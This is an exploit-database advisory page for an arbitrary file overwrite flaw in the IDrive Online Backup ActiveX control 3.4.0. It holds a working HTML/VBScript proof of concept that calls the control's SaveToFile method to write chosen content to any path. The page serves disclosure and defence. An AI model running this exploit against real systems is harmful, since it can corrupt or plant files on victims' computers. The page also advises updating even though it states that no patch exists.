Pro Softnet IDrive Online Backup ActiveX Control Arbitrary File Overwrite

vendor:

IDrive Online Backup ActiveX control

by:

Unknown

7.5

CVSS

HIGH

Arbitrary File Overwrite

CWE

Product Name: IDrive Online Backup ActiveX control

Affected Version From: 3.4.2000

Affected Version To: 3.4.2000

Patch Exists: NO

Related CWE:

CPE: a:pro_softnet:idrive_online_backup_activex_control:3.4.0

Metasploit:

Other Scripts:

Platforms Tested: Windows

Pro Softnet IDrive Online Backup ActiveX Control Arbitrary File Overwrite

The Pro Softnet IDrive Online Backup ActiveX control is prone to a vulnerability that allows attackers to overwrite files with arbitrary, attacker-controlled content. An attacker can exploit this issue to corrupt and overwrite arbitrary files on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). The provided HTML code demonstrates an example of the exploit.

Mitigation:

To mitigate this vulnerability, users are advised to update to the latest version of the IDrive Online Backup ActiveX control. Additionally, users should exercise caution when visiting untrusted websites or downloading files from untrusted sources.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/48582/info

Pro Softnet IDrive Online Backup ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content.

An attacker can exploit this issue to corrupt and overwrite arbitrary files on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).

IDrive Online Backup ActiveX control 3.4.0 is vulnerable; other versions may also be affected. 

<html>
<object classid=&#039;clsid:979AE8AA-C206-40EC-ACA7-EC6B6BD7BE5E&#039; id=&#039;target&#039; /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = &#039;vbscript&#039;>

Sub Boom()
arg1="FilePath\File_name_to_rewrite_or_create"
arg2=1
arg3="New_File_Content"
target.Text=arg3
target.SelStart=0
target.SelEnd=Len(arg3)
target.SaveToFIle arg1,arg2
End Sub

</script>
</html>